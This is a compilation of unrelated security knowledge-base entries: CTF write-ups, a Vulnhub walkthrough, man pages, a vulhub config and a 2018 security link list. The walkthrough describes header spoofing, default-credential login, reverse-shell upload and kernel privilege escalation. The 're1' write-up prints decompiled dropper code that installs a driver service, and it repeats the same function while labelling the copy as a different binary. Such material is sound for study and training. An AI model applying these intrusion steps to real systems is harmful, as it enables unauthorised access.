elif sys.argv[1] == 'decrypt':
decrypt(sys.argv[2], sys.argv[3], sys.argv[4])
elif sys.argv[1] == 'keygen':
gen_keys(sys.argv[2], sys.argv[3])
if __name__ == '__main__':
main()
def dump():
with open("C:\\Users\\PC\\Desktop\\twctf\\m-poly-cipher\\flag.enc", 'rb') as ctf:
ct = ctf.read()
data0 = parse_vectors(ct[0:256])
data1 = parse_vectors(ct[256:512])
data2 = parse_vectors(ct[512:768])
print("stage0 = ", data0)
print("stage1 = ", data1)
print("combined =", data2)
|
sec-knowleage
|
#try(web, 150, 67 solves)
> "I never try anything, I just do it!" Do
> Flag is in /challenge/flag

We are able to execute haskell scripts that are stored on the server, we are also able to upload a profile gif.
Our challenge is to read `/challenge/flag`
We should be able to upload a script that is also a valid gif and then execute it using a path traversal.
File that meets both cryteria:

```
Run!
Output
"33C3_n3xt_T1me_idri5_m4ybe\n"
```
|
sec-knowleage
|
version: '2'
services:
es:
image: vulhub/elasticsearch:1.5.1-with-tomcat
ports:
- "9200:9200"
- "8080:8080"
|
sec-knowleage
|
---
title: 启用插件缓存
---
<center><h1>启用插件缓存</h1></center>
---
在刚刚进行 init 初始化时,Terraform 会根据 tf 文件内的 Provider 下载对应的插件,这些插件往往体积比较大。
例如上面初始化时下载的 AWS Provider 体积就有两百多兆,如果不启用插件缓存,那么在每个 Terraform 项目中都会反复下载这些插件,就很浪费磁盘空间与流量,因此建议将插件缓存开启。
Windows 下是在相关用户的 %APPDATA% 目录下创建名为 "terraform.rc" 的文件,Macos 和 Linux 用户则是在用户的 home 下创建名为 ".terraformrc" 的文件
.terraformrc 文件内容为:
```json
plugin_cache_dir = "$HOME/.terraform.d/plugin-cache"
```
这样每次下载 Provider 插件时,就会下载到 "$HOME/.terraform.d/plugin-cache" 目录下了。
不过 Terraform 不会主动清理这个文件夹,因此可能随着插件版本的更迭,这个文件夹内会保存一些历史版本的 Provider 插件,这时就需要自己手动清理一下了。
<Vssue />
<script>
export default {
mounted () {
this.$page.lastUpdated = "2022年4月15日"
}
}
</script>
|
sec-knowleage
|
.\" auto-generated by docbook2man-spec $Revision: 1.1 $
.TH "CHECKPOINT" "7" "2003-11-02" "SQL - Language Statements" "SQL Commands"
.SH NAME
CHECKPOINT \- 强制一个事务日志检查点
.SH SYNOPSIS
.sp
.nf
CHECKPOINT
.sp
.fi
.SH "DESCRIPTION 描述"
.PP
预写式日志(Write-Ahead Logging (WAL))缺省时在事务日志中每隔一段时间放一个检查点。 (要调整这个原子化的检查点间隔,你可以参考运行时选项 checkpoint_segments 和 checkpoint_segments 。) CHECKPOINT 强迫在命令声明时立即进行检查, 而不是等到下一次调度时的检查点。
.PP
检查点是一个事务日志训练中的点,在该点,所有数据文件都被更新以反映日志中的信息。 所有数据文件都将被冲刷到磁盘。请参考 Chapter 25 ``Write-Ahead Logging'' 获取更多有关 WAL 系统的信息。
.PP
只有超级用户可以调用 CHECKPOINT。 该命令不是设计用于正常操作过程中的。
.SH "COMPATIBILITY 兼容性"
.PP
\fBCHECKPOINT\fR 命令是 PostgreSQL 语言的扩展。
.SH "译者"
.B Postgresql 中文网站
.B 何伟平 <laser@pgsqldb.org>
|
sec-knowleage
|
# Y0usef
> https://download.vulnhub.com/y0usef/y0usef.ova
靶场IP :`192.168.2.7`
扫描对外端口
```
┌──(root㉿kali)-[/opt]
└─# nmap -p1-65535 -sV 192.168.2.7
Starting Nmap 7.92 ( https://nmap.org ) at 2022-09-04 10:17 EDT
Nmap scan report for 192.168.2.7
Host is up (0.00047s latency).
Not shown: 65533 closed tcp ports (reset)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 6.6.1p1 Ubuntu 2ubuntu2.13 (Ubuntu Linux; protocol 2.0)
80/tcp open http Apache httpd 2.4.10 ((Ubuntu))
MAC Address: 08:00:27:76:77:A3 (Oracle VirtualBox virtual NIC)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 8.04 seconds
```
浏览器访问80端口

暴力破解目录
```
┌──(root㉿kali)-[/opt]
└─# gobuster dir -u http://192.168.2.7/ -w /opt/raft-large-words.txt -t 50 |grep 301
/.html.printable (Status: 403) [Size: 301]
/adminstration (Status: 301) [Size: 318] [--> http://192.168.2.7/adminstration/]
```
我发现了一个 Host Header 漏洞,没有浪费我们让我们打开 burp 套件并添加一个 `X-Forwarded-For: 127.0.0.1` 请求头。

> 如果应用程序信任 X-Forwarded-For 之类的 HTTP 请求标头来准确指定连接客户端的远程 IP 地址,则恶意客户端可以欺骗其 IP 地址。

这样放数据包过去就可以显示页面

使用`admin/admin`登录

上传反弹shell


反弹成功

使用`cve-2015-1328`进行提权
|
sec-knowleage
|
import Image
import sys
import os
IBM_MODEL_029_KEYPUNCH = [
" /&-0123456789ABCDEFGHIJKLMNOPQR/STUVWXYZ:#@'=x`.<(+|!$*);^~,%_>? |",
"12 / O OOOOOOOOO OOOOOO |",
"11| O OOOOOOOOO OOOOOO |",
" 0| O OOOOOOOOO OOOOOO |",
" 1| O O O O |",
" 2| O O O O O O O O |",
" 3| O O O O O O O O |",
" 4| O O O O O O O O |",
" 5| O O O O O O O O |",
" 6| O O O O O O O O |",
" 7| O O O O O O O O |",
" 8| O O O O OOOOOOOOOOOOOOOOOOOOOOOO |",
" 9| O O O O |",
" |__________________________________________________________________|",
]
files = ["07d561df3da01f31590066f014652e995f7b76f1.png","4a95fea0f5e9af0af550b94fb960222e934ad09b.png","a034586b253b057c96da0b6707364853886b22b6.png","d3860afefe98f2408e24218a882aaf227d9287b9.png","19756efa72339faa9c9b5fe1743c3abedbc5079d.png","85a749d44bcba42869f21fb58f9725a443066a4f.png","a8a103961eccf8a991edfed1aaa39a8f9a3fe622.png","f7191b128c49ecfef0b27cd049550ae75249f86b.png","24c1e220c056210e6507c4c57079ffb99ffeb96c.png","89596be1f6463cb83abaecac7a375546069ecf0f.png","a9aba85ebcb160a7b18ea22abfb9589bd3ce1914.png","2d77fbd5eda9ed661a7834d8273815722fb97ccc.png","93ec404ba9266f5d059a727a6460b2693fc4c440.png","cdeea42d7f7216f93a9f1eb93b2723c70e693bea.png"]
def getRow(q):
out = ""
for i in range(len(IBM_MODEL_029_KEYPUNCH)):
out += IBM_MODEL_029_KEYPUNCH[i][q]
return out
def check(n, need):
for i in range(len(need)):
if(need[i] != getRow(n)[i+1]):
return False
return True
def find(need):
for i in range(5, 69):
if(check(i, need)):
return i
return -1
for f in files:
im = Image.open("qr/"+f)
pix = im.load()
def isWhite(a):
for q in a:
if q != 255:
return False
return True
for x in range(2, 82):
column = ""
for y in range(2, 25, 2):
if(isWhite(pix[x*7 + 4, y*10 + 5])):
column += ("O")
else:
column += (" ")
sys.stdout.write(IBM_MODEL_029_KEYPUNCH[0][find(column)])
print("")
|
sec-knowleage
|
sh
===
shell命令解释器
## 补充说明
**sh命令** 是shell命令语言解释器,执行命令从标准输入读取或从一个文件中读取。通过用户输入命令,和内核进行沟通!Bourne Again Shell (即bash)是自由软件基金会(GNU)开发的一个Shell,它是Linux系统中一个默认的Shell。Bash不但与Bourne Shell兼容,还继承了C Shell、Korn Shell等优点。
### 语法
```shell
bash [options] [file]
```
### 选项
```shell
-c string:命令从-c后的字符串读取。
-i:实现脚本交互。
-n:进行shell脚本的语法检查。
-x:实现shell脚本逐条语句的跟踪。
```
### 实例
使用-x选项跟踪脚本调试shell脚本,能打印出所执行的每一行命令以及当前状态:
```shell
[root@AY1307311912260196fcZ satools]# sh -x check_ssh_login.sh
+ DEFINE=30
+ cat /var/log/secure
+ awk '/Failed/ {++ip[$(NF-3)]} END {for (i in ip) print i"="ip[i]}'
++ cat /root/satools/black.txt
+ for i in '`cat /root/satools/black.txt`'
++ echo 121.42.0.16=1427
++ awk -F= '{print $1}'
+ IP=121.42.0.16
++ echo 121.42.0.16=1427
++ awk -F= '{print $2}'
+ NUM=1427
+ '[' 1427 -gt 30 ']'
+ grep 121.42.0.16 /etc/hosts.deny
+ '[' 1 -gt 0 ']'
+ echo sshd:121.42.0.16
+ echo vsftpd:121.42.0.16
+ for i in '`cat /root/satools/black.txt`'
++ echo 121.42.0.72=276
++ awk -F= '{print $1}'
+ IP=121.42.0.72
++ awk -F= '{print $2}'
++ echo 121.42.0.72=276
+ NUM=276
+ '[' 276 -gt 30 ']'
+ grep 121.42.0.72 /etc/hosts.deny
+ '[' 1 -gt 0 ']'
+ echo sshd:121.42.0.72
+ echo vsftpd:121.42.0.72
```
|
sec-knowleage
|
.\" auto-generated by docbook2man-spec $Revision: 1.1 $
.TH "DROP TRIGGER" "7" "2003-11-02" "SQL - Language Statements" "SQL Commands"
.SH NAME
DROP TRIGGER \- 删除一个触发器定义
.SH SYNOPSIS
.sp
.nf
DROP TRIGGER \fIname\fR ON \fItable\fR [ CASCADE | RESTRICT ]
.sp
.fi
.SH "DESCRIPTION 描述"
.PP
\fBDROP TRIGGER\fR 将删除所有对一个现存触发器的引用。 要执行这个命令,当前用户必须是触发器的所有者。
.SH "PARAMETERS 参数"
.TP
\fB\fIname\fB\fR
要删除的触发器名。
.TP
\fB\fItable\fB\fR
触发器定义所在的表的名称(可以有模式修饰)。
.TP
\fBCASCADE\fR
自动删除依赖此触发器的对象。
.TP
\fBRESTRICT\fR
如果有任何依赖对象存在,那么拒绝删除。这个是缺省。
.SH "EXAMPLES 例子"
.PP
删除表films的if_dist_exists触发器:
.sp
.nf
DROP TRIGGER if_dist_exists ON films;
.sp
.fi
.SH "COMPATIBILITY 兼容性"
.PP
PostgreSQL 里的 DROP TRIGGER 语句和 SQL 标准不兼容。在 SQL 标准里,触发器名字不是表所局部拥有的,所以命令只是简单的 DROP TRIGGER name。
.SH "SEE ALSO 参见"
CREATE TRIGGER [\fBcreate_trigger\fR(7)]
.SH "译者"
.B Postgresql 中文网站
.B 何伟平 <laser@pgsqldb.org>
|
sec-knowleage
|
[计算机网络.md](https://github.com/CyC2018/CS-Notes/blob/master/notes/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%BD%91%E7%BB%9C%20-%20%E7%9B%AE%E5%BD%95.md)
|
sec-knowleage
|
### Ethereum定义
> Ethereum is a decentralized, open-source blockchain featuring smart contract functionality. Ether (ETH) is the native cryptocurrency of the platform. It is the second-largest cryptocurrency by market capitalization, after Bitcoin. Ethereum is the most actively used blockchain. ------ from [wikipedia](https://en.wikipedia.org/wiki/Ethereum)
Ethereum 是区块链 2.0 的代表产物,因其底层使用区块链技术,所以继承区块链的各种特性,其中有一项便是 **代码一旦上链,便难以篡改或更改**,所以我们需要额外关注它的安全。
智能合约 (Smart Contract) 是 Ethereum 中最为重要的一个概念,允许在没有第三方的情况下进行可信交易,这些交易可追踪且不可逆转。
### CTF中的区块链要求
- 对区块链基本知识以及交易本质有所了解
- 熟悉并掌握 Solidity 编程语言及以太坊虚拟机 EVM 运行机制
- 熟悉各种测试链,包括私链
- 熟悉 Remix、MetaMask、web3.js、web3.py 等工具或库的使用
- 了解并掌握以太坊智能合约各种漏洞及其攻击原理
- 对底层 opcodes 理解透彻
- 较强的程序理解和逆向分析能力
!!! note
注:以太坊智能合约大多数不公开源代码,而是字节码,所以需要逆向分析能力。
|
sec-knowleage
|
# re1 (re, 100pts)
List of executable resources viewed in Resource Hacker:

The most interesting function is 0x40111D:
```c++
signed int __stdcall sub_40111D(int a1)
{
HGLOBAL v1; // eax
HRSRC v2; // eax
HRSRC v3; // esi
HGLOBAL v4; // eax
const void *v5; // edi
HANDLE v6; // esi
signed int v7; // ecx
signed int v8; // eax
struct _STARTUPINFOA StartupInfo; // [esp+Ch] [ebp-80h]
DWORD v11; // [esp+50h] [ebp-3Ch]
DWORD NumberOfBytesWritten; // [esp+54h] [ebp-38h]
struct _PROCESS_INFORMATION ProcessInformation; // [esp+58h] [ebp-34h]
LPCVOID lpBuffer; // [esp+68h] [ebp-24h]
HANDLE hObject; // [esp+6Ch] [ebp-20h]
HRSRC hResInfo; // [esp+70h] [ebp-1Ch]
char v17; // [esp+74h] [ebp-18h]
char v18; // [esp+75h] [ebp-17h]
CHAR b_dll; // [esp+178h] [ebp+ECh]
char v20; // [esp+179h] [ebp+EDh]
CHAR FileName; // [esp+27Ch] [ebp+1F0h]
char v22; // [esp+27Dh] [ebp+1F1h]
CHAR CommandLine; // [esp+380h] [ebp+2F4h]
char v24; // [esp+381h] [ebp+2F5h]
char v25[12]; // [esp+3E4h] [ebp+358h]
b_dll = 0;
memset(&v20, 0, 0x103u);
FileName = 0;
memset(&v22, 0, 0x103u);
memset(&v18, 0, 0x103u);
GetTempPathA(0x104u, &b_dll);
GetTempPathA(0x104u, &FileName);
strcat_s(&b_dll, 0x104u, "b.dll");
strcat_s(&FileName, 0x104u, "2.exe");
hResInfo = FindResourceA(0, (LPCSTR)0x8D, "SYS");
GetLastError();
v1 = LoadResource(0, hResInfo);
lpBuffer = LockResource(v1);
hResInfo = (HRSRC)SizeofResource(0, hResInfo);
hObject = CreateFileA(&FileName, 0x10000000u, 1u, 0, 2u, 0x80u, 0);
WriteFile(hObject, lpBuffer, (DWORD)hResInfo, &NumberOfBytesWritten, 0);
CloseHandle(hObject);
v2 = FindResourceA(0, (LPCSTR)0x8E, "SYS");
v3 = v2;
v4 = LoadResource(0, v2);
v5 = LockResource(v4);
hObject = (HANDLE)SizeofResource(0, v3);
v6 = CreateFileA(&b_dll, 0x10000000u, 1u, 0, 2u, 0x80u, 0);
WriteFile(v6, v5, (DWORD)hObject, &v11, 0);
CloseHandle(v6);
strcpy(&v17, "qa\"apgcvg\"Rv\"v{rg?\"dkngq{q\"`klRcvj?\"");
v7 = 0;
do
{
*(&v17 + v7) ^= a1 - 48;
++v7;
}
while ( v7 < 36 );
strcpy(v25, "p`#pwbqw#Sw");
v8 = 0;
do
{
v25[v8] ^= a1 - 47;
++v8;
}
while ( v8 < 11 );
CommandLine = 0;
memset(&v24, 0, 0x63u);
sprintf(&CommandLine, "%d", a1);
memset(&StartupInfo, 0, 0x44u);
StartupInfo.cb = 68;
if ( !CreateProcessA(&FileName, &CommandLine, 0, 0, 0, 0, 0, 0, &StartupInfo, &ProcessInformation) )
return 1;
WaitForSingleObject(ProcessInformation.hProcess, 0xFFFFFFFF);
CloseHandle(ProcessInformation.hThread);
CloseHandle(ProcessInformation.hProcess);
DeleteFileA(&b_dll);
DeleteFileA(&FileName);
return 1;
}
```
It loads the `SYS1` resource and saves it into `b.dll` and stores `SYS2` in `2.exe` and executes it.
`2.exe` loads data from `b.dll` again, xors it with a certain byte and stores it as `flag.dll`:
```c++
signed int __stdcall sub_40111D(int a1)
{
HGLOBAL v1; // eax
HRSRC v2; // eax
HRSRC v3; // esi
HGLOBAL v4; // eax
const void *v5; // edi
HANDLE v6; // esi
signed int v7; // ecx
signed int v8; // eax
struct _STARTUPINFOA StartupInfo; // [esp+Ch] [ebp-80h]
DWORD v11; // [esp+50h] [ebp-3Ch]
DWORD NumberOfBytesWritten; // [esp+54h] [ebp-38h]
struct _PROCESS_INFORMATION ProcessInformation; // [esp+58h] [ebp-34h]
LPCVOID lpBuffer; // [esp+68h] [ebp-24h]
HANDLE hObject; // [esp+6Ch] [ebp-20h]
HRSRC hResInfo; // [esp+70h] [ebp-1Ch]
char v17; // [esp+74h] [ebp-18h]
char v18; // [esp+75h] [ebp-17h]
CHAR b_dll; // [esp+178h] [ebp+ECh]
char v20; // [esp+179h] [ebp+EDh]
CHAR FileName; // [esp+27Ch] [ebp+1F0h]
char v22; // [esp+27Dh] [ebp+1F1h]
CHAR CommandLine; // [esp+380h] [ebp+2F4h]
char v24; // [esp+381h] [ebp+2F5h]
char v25[12]; // [esp+3E4h] [ebp+358h]
b_dll = 0;
memset(&v20, 0, 0x103u);
FileName = 0;
memset(&v22, 0, 0x103u);
memset(&v18, 0, 0x103u);
GetTempPathA(0x104u, &b_dll);
GetTempPathA(0x104u, &FileName);
strcat_s(&b_dll, 0x104u, "b.dll");
strcat_s(&FileName, 0x104u, "2.exe");
hResInfo = FindResourceA(0, (LPCSTR)141, "SYS");
GetLastError();
v1 = LoadResource(0, hResInfo);
lpBuffer = LockResource(v1);
hResInfo = (HRSRC)SizeofResource(0, hResInfo);
hObject = CreateFileA(&FileName, 0x10000000u, 1u, 0, 2u, 0x80u, 0);
WriteFile(hObject, lpBuffer, (DWORD)hResInfo, &NumberOfBytesWritten, 0);
CloseHandle(hObject);
v2 = FindResourceA(0, (LPCSTR)142, "SYS");
v3 = v2;
v4 = LoadResource(0, v2);
v5 = LockResource(v4);
hObject = (HANDLE)SizeofResource(0, v3);
v6 = CreateFileA(&b_dll, 0x10000000u, 1u, 0, 2u, 0x80u, 0);
WriteFile(v6, v5, (DWORD)hObject, &v11, 0);
CloseHandle(v6);
strcpy(&v17, "qa\"apgcvg\"Rv\"v{rg?\"dkngq{q\"`klRcvj?\"");// sc create Pt type= filesys binPath=
v7 = 0;
do
{
*(&v17 + v7) ^= a1 - 48;
++v7;
}
while ( v7 < 36 );
strcpy(v25, "p`#pwbqw#Sw"); // sc start Pt
v8 = 0;
do
{
v25[v8] ^= a1 - 47;
++v8;
}
while ( v8 < 11 );
CommandLine = 0;
memset(&v24, 0, 0x63u);
sprintf(&CommandLine, "%d", a1);
memset(&StartupInfo, 0, 'D');
StartupInfo.cb = 'D';
if ( !CreateProcessA(&FileName, &CommandLine, 0, 0, 0, 0, 0, 0, &StartupInfo, &ProcessInformation) )
return 1;
WaitForSingleObject(ProcessInformation.hProcess, 0xFFFFFFFF);
CloseHandle(ProcessInformation.hThread);
CloseHandle(ProcessInformation.hProcess);
DeleteFileA(&b_dll);
DeleteFileA(&FileName);
return 1;
}
```
Xoring the entire resource with 0x36 yields a following result:

|
sec-knowleage
|
#2018移动安全事记
时间线
- 0x00
- 1.2 [恶意样本分析手册–溯源篇](http://blog.nsfocus.net/trace-source/)
- 1.3 [《绝地求生》辅助程序暗藏挖矿木马](http://www.freebuf.com/news/158892.html)
- 1.2 [2017勒索软件威胁形势分析报告](https://www.secpulse.com/archives/66838.html)
- 1.3 [RASP技术分析](http://blog.nsfocus.net/rasp-tech/)
- 1.4 [“一个人”的互金企业安全建设总结](http://www.freebuf.com/articles/neopoints/158724.html)
- 1.4 [Fsociety Hacking Tools Pack-一款专业的渗透测试框架](http://www.freebuf.com/column/159210.html)
- 1.4 [Android Malware Steals Uber Logins, Then Covers it Up](https://www.infosecurity-magazine.com/news/android-malware-steals-uber-logins/)
- 1.5 [处理器A级漏洞MELTDOWN(熔毁)和SPECTRE(幽灵)分析报告](http://www.freebuf.com/vuls/159269.html)
- 1.8 [年度盘点 | 安全测试者偏爱的安全测试工具](http://www.freebuf.com/sectool/159428.html)
- 1.8 [如何劫持整个互联网](http://www.freebuf.com/column/159517.html)
- 1.7 [开源工具Zeus-Scanner宙斯扫描器](http://www.freebuf.com/sectool/158355.html)
- 1.6 [批量挖SRC漏洞的一种打开方式](http://www.freebuf.com/articles/es/158882.html)
- 1.9 [漏洞挖掘之逻辑漏洞挖掘](https://www.secpulse.com/archives/57215.html)
- 1.9 [年度盘点 | 2017移动应用十大高危漏洞](http://www.freebuf.com/articles/neopoints/159133.html)
- 1.9 [网络钓鱼盯上平昌奥运会:冒名国家反恐中心、意图分发恶意软件窃取敏感信息](http://hackernews.cc/archives/19393)
- 1.11 [批量检测SQL注入](http://www.freebuf.com/articles/web/159264.html)
- 1.10 [主流安卓APP遭遇“应用克隆”危机,快速检测修复方案出炉](http://www.freebuf.com/company-information/159849.html)
- 1.12 [PoS 端恶意软件 LockPoS 携手新型代码注入技术,通过内存窃取信用卡数据](http://hackernews.cc/archives/19597)
- 1.11 [Mac 恶意程序在 13 年中偷拍了百万用户的照片](http://www.solidot.org/story?sid=55187)
- 1.15 [近期网络安全APT攻击事件分析汇总](http://www.freebuf.com/articles/paper/159412.html)
- 1.15 [安卓手机的NFC功能可截取非接触IC卡交互数据,用户需警惕](http://www.freebuf.com/articles/terminal/158805.html)
- 1.13 [CoffeeMiner:劫持WiFi网络接入设备进行“挖矿”的框架](http://www.freebuf.com/articles/wireless/159688.html)
- 1.14 [Mac 发现 DNS 恶意劫持软件:偷跑流量篡改网页地址](http://hackernews.cc/archives/19693)
- 1.13 [首款采用 Kotlin 语言编写的恶意应用程序实现短信欺诈](http://hackernews.cc/archives/19564)
- 1.15 [运营商劫持加入挖矿大军 波及十余省辽宁重灾区](https://www.secpulse.com/archives/67127.html)
- 1.15 [黑产5大特点7大威胁源 看警方与腾讯如何打击黑产](http://www.aqniu.com/industry/30857.html)
- 1.17 [RubyMiner 恶意软件入侵过时服务器挖掘加密货币](http://hackernews.cc/archives/19819)
- 1.17 [RubyMiner 恶意软件入侵过时服务器挖掘加密货币](http://hackernews.cc/archives/19819)
- 1.17 [Found: New Android malware with never-before-seen spying capabilities](https://arstechnica.com/information-technology/2018/01/found-new-android-malware-with-never-before-seen-spying-capabilities/)
- 1.17 [【FB 與 IG 隱私設定】出遊打卡,把親友拖下水,還告訴小偷:闖空門正是時候?](https://blog.trendmicro.com.tw/?p=53969)
- 1.17 [【预警通告】新型KillDisk变种攻击拉丁美洲金融机构](http://blog.nsfocus.net/new-killdisk/)
- 1.18 [RubyMiner挖矿程序24小时内影响全球30%的网络](http://www.freebuf.com/news/160663.html)
- 1.19 [成名于手机执着于安全,黑莓推出Jarvis汽车安全产品](http://www.freebuf.com/articles/es/160569.html)
- 1.19 [Apple 預計下週修正文字訊息漏洞「ChaiOS」](https://chinese.engadget.com/2018/01/18/apple-fix-for-chaios-bug-next-week-imessage/)
- 1.19 [挖洞经验 | 看我如何发现“小火车托马斯”智能玩具APP聊天应用漏洞](http://www.freebuf.com/news/160316.html)
- 1.20 [银行木马 Exobot 原作者愿出售源码,或致 Android 用户处境艰难](http://hackernews.cc/archives/19961)
- 1.20 [OnePlus Confirms Credit Card Breach Impacted Up to 40,000 Customers](https://threatpost.com/oneplus-confirms-credit-card-breach-impacted-up-to-40000-customers/129569/)
- 1.22 [Android Malware in gaming apps on Play Store downloaded 4 million times](https://entrepreneur360.info/android-malware-in-gaming-apps-on-play-store-downloaded-4-million-times/)
- 1.23 [拒绝成为免费劳动力:检测含有挖矿脚本的WiFi热点](http://www.freebuf.com/articles/web/161010.html)
- 1.29 [关于网站强奸剪切板那点事](http://www.91ri.org/17555.html)
- 1.27 [新型僵尸网络 HNS 不断增长,已感染逾 2 万物联网设备](http://hackernews.cc/archives/20246)
- 1.26 [[转]“流量狂魔”--病毒分析报告](http://blog.csdn.net/androidsecurity/article/details/43231949)
- 1.25 [钓鱼邮件传播勒索病毒再升级,不落地加大查杀难度](http://www.freebuf.com/articles/paper/160832.html)
- 1.24 [CISSP一次通过指南(文末附福利)](http://www.freebuf.com/column/161278.html)
- 1.30 [我们对比了GitHub上8800个开源机器学习项目,并选出了其中的Top30](http://www.ijiandao.com/2b/baijia/90543.html)
- 1.30 [互联网金融黑中介指南](http://www.freebuf.com/articles/neopoints/161064.html)
- 1.29 [Strava 健身追踪热度图可能还披露了世界各地的军事基地位置](http://hackernews.cc/archives/20350)
- 1.31 [Youtube 看影片電腦變好慢?當心駭客正在挖礦賺外快!](https://blog.trendmicro.com.tw/?p=54207)
- 1.31 [移动APP外挂攻防实战](http://www.freebuf.com/articles/terminal/161308.html)
- 0x01
- 2.1 [CrossRAT-一款新型的跨平台间谍软件](http://www.freebuf.com/column/161900.html) - 2.1 [代码审计“吃鸡”辅助外挂黑色产业链](http://www.freebuf.com/articles/system/161518.html)
- 2.2 [GPS欺骗(一)—无人机的劫持](http://www.freebuf.com/column/161795.html)
- 2.2 [世界上最大的垃圾邮件僵尸网络正在推广加密货币Swisscoin](http://www.freebuf.com/news/161197.html)
- 2.1 [Android平台挖矿木马研究报告](http://www.freebuf.com/articles/paper/161741.html)
- 2.1 [保护物联网安全的6条基本原则,你做到了几条?](http://www.freebuf.com/articles/system/161410.html)
- 2.2 [腾讯反病毒实验室预警:网页挂马会修改转账信息窃取财产](http://www.freebuf.com/column/162027.html)
- 2.5 [ADB.Miner:恶意代码正在利用开放了ADB 接口的安卓设备挖矿](http://blog.netlab.360.com/early-warning-adb-miner-a-mining-botnet-utilizing-android-adb-is-now-rapidly-spreading/)
- 2.2 [安全公司发现上百 Meltdown/Spectre 恶意程序样本](http://www.solidot.org/story?sid=55447)
- 2.5 [中国铁虎APT又回来了,专门针对亚洲、美国政府及其它组织](http://www.freebuf.com/news/162088.html)
- 2.6 [技术分析 | 新型勒索病毒Mindlost](http://www.freebuf.com/articles/network/162080.html)
- 2.6 [俄罗斯暗网出现新型勒索软件 GandCrab ,要求支付达世币赎金、不得感染独联体国家](http://hackernews.cc/archives/20632)
- 2.6 [ADB.Miner 安卓蠕虫的更多信息](http://blog.netlab.360.com/adb-miner-more-information/)
- 2.6 [揭秘密码黑市,你所不知道的地下交易](http://www.freebuf.com/news/161842.html)
- 2.6 [MindLost——正在袭来的勒索危机](http://www.freebuf.com/column/162306.html)
- 2.6 [DowginCw病毒家族解析](https://www.secpulse.com/archives/68040.html)
- 2.7 [中国警察开始装备人像比对警务眼镜](http://www.solidot.org/story?sid=55495)
- 2.7 [是谁悄悄偷走我的电(一):利用DNSMon批量发现被挂挖矿代码的域名](http://blog.netlab.360.com/who-is-stealing-my-power-web-mining-domains-measurement-via-dnsmon/)
- 2.7 [NSA 泄露的黑客工具被改良,适用于 Windows 2000 之后的所有版本](http://hackernews.cc/archives/20689)
- 2.8 [领英Linkedin信息搜集工具InSpy](http://www.freebuf.com/column/162610.html)
- 2.24 [NrsMiner:一个构造精密的挖矿僵尸网络](http://www.freebuf.com/articles/system/162874.html)
- 2.24 [ 数说IoT僵尸网络 - 安全牛](http://www.aqniu.com/learn/31650.html)
- 2.20 [2017年度移动应用安全态势报告](http://www.freebuf.com/articles/paper/162294.html)
- 2.16 [新病毒利用多家知名下载站疯狂传播,日感染量最高达十余万](http://www.freebuf.com/articles/system/162869.html)
- 2.24 [揭秘重庆地下“黑电台”:话题淫秽露骨……](http://www.ijiandao.com/2b/baijia/93098.html)
- 2.24 [特斯拉 ( Tesla ) 與 Jenkins 伺服器成駭客挖礦機!避免「伺服器變挖礦機」四守則 ](https://blog.trendmicro.com.tw/?p=54597)
- 2.26 [超实用!如何手工简易排查电脑是否被入侵](http://www.freebuf.com/company-information/163450.html)
- 2.27 [ 2017 中国高级持续性威胁(APT)研究报告 - FreeBuf互联网安全新媒体平台 | 关注黑客与极客](http://www.freebuf.com/articles/network/163435.html)
- 2.27 [ReelPhish:一款实时双因素钓鱼软件](http://www.freebuf.com/sectool/162909.html)
- 2.28 [FortiGuard分析:让多款 JavaScript 挖矿代码无处遁形](https://mp.weixin.qq.com/s/w58J51rKfQHu4AnNCb1mHw)
- 2.27 [CVE-2018-4087 PoC: Escaping the sandbox by misleading bluetoothd](https://blog.zimperium.com/cve-2018-4087-poc-escaping-sandbox-misleading-bluetoothd/)
- 2.27 [Evrial:最新的利用剪贴板盗取比特币的恶意软件](http://www.freebuf.com/column/163588.html)
- 2.28 [浅析Gartner评出的十一大信息安全技术](https://www.sec-un.org/%e6%b5%85%e6%9e%90gartner%e8%af%84%e5%87%ba%e7%9a%84%e5%8d%81%e4%b8%80%e5%a4%a7%e4%bf%a1%e6%81%af%e5%ae%89%e5%85%a8%e6%8a%80%e6%9c%af/)
- 2.28 [史上最详[ZI]细[DUO]的wfuzz中文教程(二)——wfuzz 基本用法](http://www.freebuf.com/column/163632.html)
- 2.28 [木马牟利再出新招:恶意利用Windows shim技术锁主页](http://www.freebuf.com/column/163721.html)
- 0x02
- 3.2 [安卓端渗透工具DVHMA:自带漏洞的混合模式APP](http://www.freebuf.com/news/163057.html)
- 3.2 [解密古老又通杀的路由器攻击手法:从嗅探PPPoE到隐蔽性后门](http://www.freebuf.com/articles/wireless/163480.html)
- 3.2 [程序猿必备的17款最佳的代码审查工具](http://www.ijiandao.com/2b/baijia/94322.html)
- 3.2 [渗透的本质是信息搜集(第一季)](https://www.secpulse.com/archives/68959.html)
- 3.4 [Injectify:一款执行MiTM攻击的工具](http://www.freebuf.com/sectool/163291.html)
- 3.1 [威胁猎人:2017年度中国互联网黑产报告](http://www.freebuf.com/company-information/163890.html)
- 3.4 [互联网反欺诈体系漫谈](https://www.sec-un.org/%e4%ba%92%e8%81%94%e7%bd%91%e5%8f%8d%e6%ac%ba%e8%af%88%e4%bd%93%e7%b3%bb%e6%bc%ab%e8%b0%88/)
- 3.5 [学界 | 综述论文:对抗攻击的12种攻击方法和15种防御方法](http://www.ijiandao.com/2b/baijia/94419.html)
- 3.5 [研究人员发现4G LTE网络协议漏洞](http://www.freebuf.com/news/164109.html)
- 3.6 [思科2018年度安全报告](http://www.freebuf.com/articles/paper/164240.html)
- 3.6 [爬虫基础篇[Web漏洞扫描器]](https://www.secpulse.com/archives/69055.html)
- 3.8 [HELK:一款具有高级分析功能的漏洞挖掘平台](http://www.freebuf.com/sectool/163286.html)
- 3.11 [知名软件ADSafe暗藏恶意代码,从众多网站劫持流量](http://www.freebuf.com/articles/paper/164822.html)
- 3.13 [近期“污水”(MuddyWater)APT组织攻击活动汇总](http://www.freebuf.com/articles/web/165061.html)
- 3.15 [追踪掠食者:地下灰产如何撸死创业公司?](http://www.freebuf.com/articles/neopoints/165013.html)
- 3.15 [WannaMine来了?警惕“永恒之蓝”挖矿长期潜伏](http://www.freebuf.com/articles/network/164869.html)
- 3.16 [恶意软件攻击沙特阿拉伯石油工厂,试图引发爆炸](http://hackernews.cc/archives/21593)
- 3.16 [为什么区块链最终可能会以侵蚀你的网络隐私而告终?](http://www.freebuf.com/articles/database/165417.html)
